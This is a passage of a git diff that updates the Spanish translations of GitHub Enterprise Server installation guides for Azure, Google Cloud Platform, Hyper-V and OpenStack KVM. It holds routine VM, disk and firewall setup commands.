+3. Configura los parámetros de seguridad en tu VM para abrir los puertos requeridos. Para obtener más información, consulta "[abrir puerto de vm de az](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" en la documentación de Microsoft. Consulta la tabla de abajo para obtener una descripción de cada puerto para determinar qué puertos debes abrir.
 
   ```shell
   $ az vm open-port -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --port <em>PORT_NUMBER</em>
   ```
 
-  This table identifies what each port is used for.
+  Esta tabla identifica para qué se utiliza cada puerto.
 
   {% data reusables.enterprise_installation.necessary_ports %}
 
-4. Create and attach a new unencrypted data disk to the VM, and configure the size based on your user license count. For more information, see "[az vm disk attach](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation.
+4. Crea y adjunta un disco de datos administrados nuevo a la MV y configura el tamaño con base en la cantidad de licencias que tengas. Todos los discos administrados de Azure que se crearon desde el 10 de junio de 2017 están cifrados en reposo predeterminadamente con el Cifrado de Servicio de Almacenamiento (SSE). Para obtener más información sobre el comando `az vm disk attach`, consulta la sección "[az vm disk attach](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" en la documentación de Microsoft.
 
-  Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `100`), and a name for the resulting VHD.
+  Aprueba opciones para el nombre de tu VM (por ejemplo, `ghe-acme-corp`), el grupo de recurso, el almacenamiento prémium de SKU, el tamaño del disco (por ejemplo, `100`) y un nombre para el VHD resultante.
 
   ```shell
   $ az vm disk attach --vm-name <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --sku Premium_LRS --new -z <em>SIZE_IN_GB</em> --name ghe-data.vhd --caching ReadWrite
@@ -72,33 +73,33 @@ Before launching {% data variables.product.product_location %} on Azure, you'll
 
   {% note %}
 
-   **Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 40 GiB with read/write cache enabled (`--caching ReadWrite`).
+   **Nota:** para instancias no productivas que tengan suficiente rendimiento de E/S, el tamaño mínimo recomendado es de 40 GiB con caché de lectura/escritura activado (`--caching ReadWrite`).
 
    {% endnote %}
 
-## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine
+## Configurara la máquina virtual {% data variables.product.prodname_ghe_server %}
 
-1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[az vm list](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation.
+1. Antes de configurar el VM, debes esperar que pase al estado ReadyRole. Controla el estado del VM con el comando `vm list`. Para obtener más información, consulta "[lista de vm de az](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" en la documentación de Microsoft.
   ```shell
   $ az vm list -d -g <em>RESOURCE_GROUP</em> -o table
   > Name    ResourceGroup    PowerState    PublicIps     Fqdns    Location    Zones
   > ------  ---------------  ------------  ------------  -------  ----------  -------
   > VM_NAME RESOURCE_GROUP   VM running    40.76.79.202           eastus
-  
+
   ```
   {% note %}
-  
-  **Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
-  
+
+  **Nota:** Azure no crea automáticamente una entrada FQDNS para el VM. Para obtener más información, consulta la guía de Azure sobre cómo "[Crear un nombre de dominio certificado completo en el portal de Azure para una VM de Linux](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
+
   {% endnote %}
-  
+
   {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
   {% data reusables.enterprise_installation.upload-a-license-file %}
-  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obtener más información, consulta "[Configurar el aparato de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
   {% data reusables.enterprise_installation.instance-will-restart-automatically %}
   {% data reusables.enterprise_installation.visit-your-instance %}
-  
-## Further reading
-  
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+
+## Leer más
+
+- "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
index e8d6a0059e..ab9d921152 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Google Cloud Platform
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.'
+title: Instalar el servidor de GitHub Enterprise en Google Cloud Platform
+intro: 'Para instalar {% data variables.product.prodname_ghe_server %} en Google Cloud Platform, debes implementar un tipo de máquina soportado y utilizar un disco estándar persistente o un SSD persistente.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform
   - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform
@@ -13,69 +13,70 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on GCP
+shortTitle: Instalar en GCP
 ---
-## Prerequisites
+
+## Prerrequisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/).
-- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation.
+- Debes tener una cuenta de Google Cloud Platform capaz de iniciar instancias de la máquina virtual (VM) de Google Compute Engine (GCE). Para obtener más información, consulta el [Sitio web de Google Cloud Platform](https://cloud.google.com/) y la [Documentación de Google Cloud Platform](https://cloud.google.com/docs/).
+- La mayoría de las acciones necesarias para iniciar tu instancia pueden también realizarse utilizando la [Consola de Google Cloud Platform](https://cloud.google.com/compute/docs/console). Sin embargo, recomendamos instalar la herramienta de línea de comando de gcloud compute para la configuración inicial. Se incluyen abajo ejemplos que utilizan la herramienta de línea de comando de gcloud compute. Para obtener más información, consulta la guía de instalación y configuración en la documentación de Google de "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)".
 
-## Hardware considerations
+## Consideraciones relativas al hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the machine type
+## Determinar el tipo de máquina
 
-Before launching {% data variables.product.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Antes de iniciar {% data variables.product.product_location %} en Google Cloud Platform, deberás determinar el tipo de máquina que mejor se adapte a las necesidades de tu organización. Para revisar los requisitos mínimos para {% data variables.product.product_name %}, consulta la sección "[Requisitos mínimos](#minimum-requirements)".
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
-{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation.
+{% data variables.product.company_short %} recomienda una máquina de propósitos generales con memoria alta para {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta la sección "[Tipos de máquina](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" en la documentación de Google Compute Engine.
 
-## Selecting the {% data variables.product.prodname_ghe_server %} image
+## Seleccionar la imagen {% data variables.product.prodname_ghe_server %}
 
-1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images:
+1. Utilizando la herramienta de línea de comando de [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/), enumera las imágenes públicas{% data variables.product.prodname_ghe_server %}:
    ```shell
    $ gcloud compute images list --project github-enterprise-public --no-standard-images
    ```
 
-2. Take note of the image name for the latest GCE image of  {% data variables.product.prodname_ghe_server %}.
+2. Toma nota del nombre de la imagen para la última imagen de GCE de {% data variables.product.prodname_ghe_server %}.
 
-## Configuring the firewall
+## Configurar el firewall
 
-GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)."
+Las máquinas virtuales de GCE se crean como un miembro de la red, que tiene un firewall. Para la red asociada con la VM {% data variables.product.prodname_ghe_server %}, deberás configurar el firewall para permitir los puertos requeridos en la tabla de abajo. Para obtener más información sobre las reglas de firewall en Google Cloud Platform, consulta la guía de Google "[Descripción de las reglas de firewall](https://cloud.google.com/vpc/docs/firewalls)."
 
-1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation.
+1. Crea la red utilizando la herramienta de línea de comando de gcloud compute. Para obtener más información, consulta "[crea redes de gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" en la documentación de Google.
    ```shell
    $ gcloud compute networks create <em>NETWORK-NAME</em> --subnet-mode auto
    ```
-2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation.
+2. Crea una regla de firewall para cada uno de los puertos en la tabla de abajo. Para obtener más información, consulta las "[reglas de firewall de gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" en la documentación de Google.
    ```shell
    $ gcloud compute firewall-rules create <em>RULE-NAME</em> \
    --network <em>NETWORK-NAME</em> \
    --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp
    ```
-   This table identifies the required ports and what each port is used for.
+   Esta tabla identifica los puertos requeridos y para qué se usa cada puerto.
 
    {% data reusables.enterprise_installation.necessary_ports %}
 
-## Allocating a static IP and assigning it to the VM
+## Asignar una IP estática y atribuirla a una VM
 
-If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)."
+Si es un aparato de producción, recomendamos firmemente reservar una dirección de IP estática externa y asignarla a la VM {% data variables.product.prodname_ghe_server %}. En caso contrario, la dirección de IP pública de la VM no se mantendrá después de que se reinicie. Para obtener más información, consulta la guía de Google "[Reservar una dirección estática de IP externa](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)."
 
-In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses.
+En las configuraciones de alta disponibilidad de producción, tantos en el aparato principal como en la réplica deberían asignarse direcciones estáticas de IP separadas.
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Crear la instancia {% data variables.product.prodname_ghe_server %}
 
-To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+Para crear la instancia {% data variables.product.prodname_ghe_server %}, deberás crear una instancia de GCE con tu imagen {% data variables.product.prodname_ghe_server %} y adjuntarle volumen de almacenamiento adicional para los datos de tu instancia. Para obtener más información, consulta "[Consideraciones relativas al hardware](#hardware-considerations)."
 
-1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation.
+1. Crea un disco de datos para utilizar como un volumen de almacenamiento adjunto para tu instancia de datos utilizando la herramienta de línea de comandos para cálculo gcloud y configura el tamaño con base en la cantidad de licencias que tengas. Para obtener más información, consulta "[crea discos de gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" en la documentación de Google.
    ```shell
    $ gcloud compute disks create <em>DATA-DISK-NAME</em> --size <em>DATA-DISK-SIZE</em> --type <em>DATA-DISK-TYPE</em> --zone <em>ZONE</em>
    ```
 
-2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation.
+2. Después crea una instancia utilizando el nombre de la imagen {% data variables.product.prodname_ghe_server %} que seleccionaste, y adjunta el disco de datos. Para obtener más información, consulta "[crea instancias de gcloud compute](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" en la documentación de Google.
    ```shell
    $ gcloud compute instances create <em>INSTANCE-NAME</em> \
    --machine-type n1-standard-8 \
@@ -87,15 +88,15 @@ To create the {% data variables.product.prodname_ghe_server %} instance, you'll
    --image-project github-enterprise-public
    ```
 
-## Configuring the instance
+## Configurar la instancia
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obtener más información, consulta "[Configurar el aparato de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leer más
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
index 7901cb3efd..5045a324c3 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Hyper-V
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.'
+title: Instalar el servidor de GitHub Enterprise en Hyper-V
+intro: 'Para instalar {% data variables.product.prodname_ghe_server %} en Hyper-V, debes implementarlo en una máquina ejecutando Windows Server 2008 a través de Windows Server 2019.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v
   - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v
@@ -13,61 +13,62 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on Hyper-V
+shortTitle: Instalar en Hyper-V
 ---
-## Prerequisites
+
+## Prerrequisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V.
-- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
+- Debes tener Windows Server 2008 a través de Windows Server 2019, que admita Hyper-V.
+- La mayoría de las acciones necesarias para crear tu máquina virtual (VM) también se pueden realizar utilizando el [Administrador de Hyper-V](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). Sin embargo, recomendamos utilizar la shell de la línea de comando de Windows PowerShell para la configuración inicial. Abajo se incluyen ejemplos que utilizan PowerShell. Para obtener más información, consulta la guía de Microsoft "[Instrucciones para Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
 
-## Hardware considerations
+## Consideraciones relativas al hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Descargar la imagen {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **Hyper-V (VHD)**.
-5. Click **Download for Hyper-V (VHD)**.
+4. Selecciona {% data variables.product.prodname_dotcom %} locales, después haz clic en **Hyper-V (VHD)**.
+5. Haz clic en **Download for Hyper-V (VHD) (Descarga para Hyper-V (VHD))**.
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Crear la instancia {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation.
+1. Crea una nueva máquina virtual de Generación 1 en PowerShell, configura el tamaño de acuerdo con la cantidad de licencias que tengas, y adjunta la imagen de {% data variables.product.prodname_ghe_server %} que descargaste. Para obtener más información, consulta "[VM nuevo](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" en la documentación de Microsoft.
   ```shell
   PS C:\> New-VM -Generation 1 -Name <em>VM_NAME</em> -MemoryStartupBytes <em>MEMORY_SIZE</em> -BootDevice VHD -VHDPath <em>PATH_TO_VHD</em>  
   ```
-{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Reemplaza la `PATH_TO_DATA_DISK` con la ruta a la ubicación donde creas el disco. Para obtener más información, consulta "[VHD nuevo](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" en la documentación de Microsoft.
   ```shell
   PS C:\> New-VHD -Path <em>PATH_TO_DATA_DISK</em> -SizeBytes <em>DISK_SIZE</em>
   ```
-3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation.
+3. Adjunta el disco de datos a tu instancia. Para obtener más información, consulta "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" en la documentación de Microsoft.
   ```shell
   PS C:\> Add-VMHardDiskDrive -VMName <em>VM_NAME</em> -Path <em>PATH_TO_DATA_DISK</em>
   ```
-4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation.
+4. Inicia la VM. Para obtener más información, consulta "[Iniciar la VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" en la documentación de Microsoft.
   ```shell
   PS C:\> Start-VM -Name <em>VM_NAME</em>
   ```
-5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation.
+5. Obtén la dirección de IP de tu VM. Para obtener más información, consulta "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" en la documentación de Microsoft.
   ```shell
   PS C:\> (Get-VMNetworkAdapter -VMName <em>VM_NAME</em>).IpAddresses
   ```
-6. Copy the VM's IP address and paste it into a web browser.
+6. Copia la dirección de IP de la VM y pégala en el explorador web.
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar la instancia de {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obtener más información, consulta "[Configurar el aparato de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leer más
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
index 1c1de12f10..d5e2023008 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on OpenStack KVM
-intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.'
+title: Instalar el servidor de GitHub Enterprise en OpenStack KVM
+intro: 'Para instalar {% data variables.product.prodname_ghe_server %} en OpenStack KVM, debes tener acceso a OpenStack y descargar la imagen QCOW2 {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm
   - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm
@@ -13,46 +13,47 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on OpenStack
+shortTitle: Instalar en OpenStack
 ---
-## Prerequisites
+
+## Prerrequisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/).
+- Debes tener acceso a una instalación de OpenStack Horizon, la interfaz de usuario con base en la web para los servicios de OpenStack. Para obtener más información, consulta la [Documentación de Horizon](https://docs.openstack.org/horizon/latest/).
 
-## Hardware considerations
+## Consideraciones relativas al hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## Descargar la imagen {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **OpenStack KVM (QCOW2)**.
-5. Click **Download for OpenStack KVM (QCOW2)**.
+4. Selecciona {% data variables.product.prodname_dotcom %} locales, después haz clic en **OpenStack KVM (QCOW2) (Abrir Stack KVM (QCOW2))**.
+5. Haz clic en **Download for OpenStack KVM (QCOW2) (Descargar para OpenStack KVM (QCOW2))**.
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Crear la instancia {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)."
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)."
-3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)."
+1. En OpenStack Horizon, carga la imagen {% data variables.product.prodname_ghe_server %} que descargaste. Para obtener instrucciones, dirígete a la sección "Cargar una imagen" en la guía de OpenStack "[Cargar y administrar imágenes](https://docs.openstack.org/horizon/latest/user/manage-images.html)".
+{% data reusables.enterprise_installation.create-attached-storage-volume %} Para encontrar instrucciones, consulta la guía de OpenStack "[Crear y administrar volúmenes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)".
+3. Crea un grupo de seguridad, y agrega una nueva regla de grupo de seguridad para cada puerto en la tabla de abajo. Para obtener instrucciones, consulta la guía de OpenStack "[Configurar acceso y seguridad para instancias](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)."
 
   {% data reusables.enterprise_installation.necessary_ports %}
-4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation.
-5. Launch {% data variables.product.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)."
+4. De forma opcional, asocia una IP flotante a la instancia. Según tu configuración de OpenStack, es posible que necesites asignar una IP flotante al proyecto y asociarla a la instancia. Contacta a tu administrador de sistema para determinar si este es tu caso. Para obtener más información, consulta "[Asignar una dirección de IP flotante a una instancia](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" en la documentación de OpenStack.
+5. Inicia {% data variables.product.product_location %} utilizando la imagen, el volumen de datos y el grupo de seguridad creado en los pasos previos. Para obtener instrucciones, consulta la guía OpenStack "[Iniciar y administrar instancias](https://docs.openstack.org/horizon/latest/user/launch-instances.html)."
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar la instancia de {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obtener más información, consulta "[Configurar el aparato de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leer más
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
index e725f7fd72..0b567b192f 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on VMware
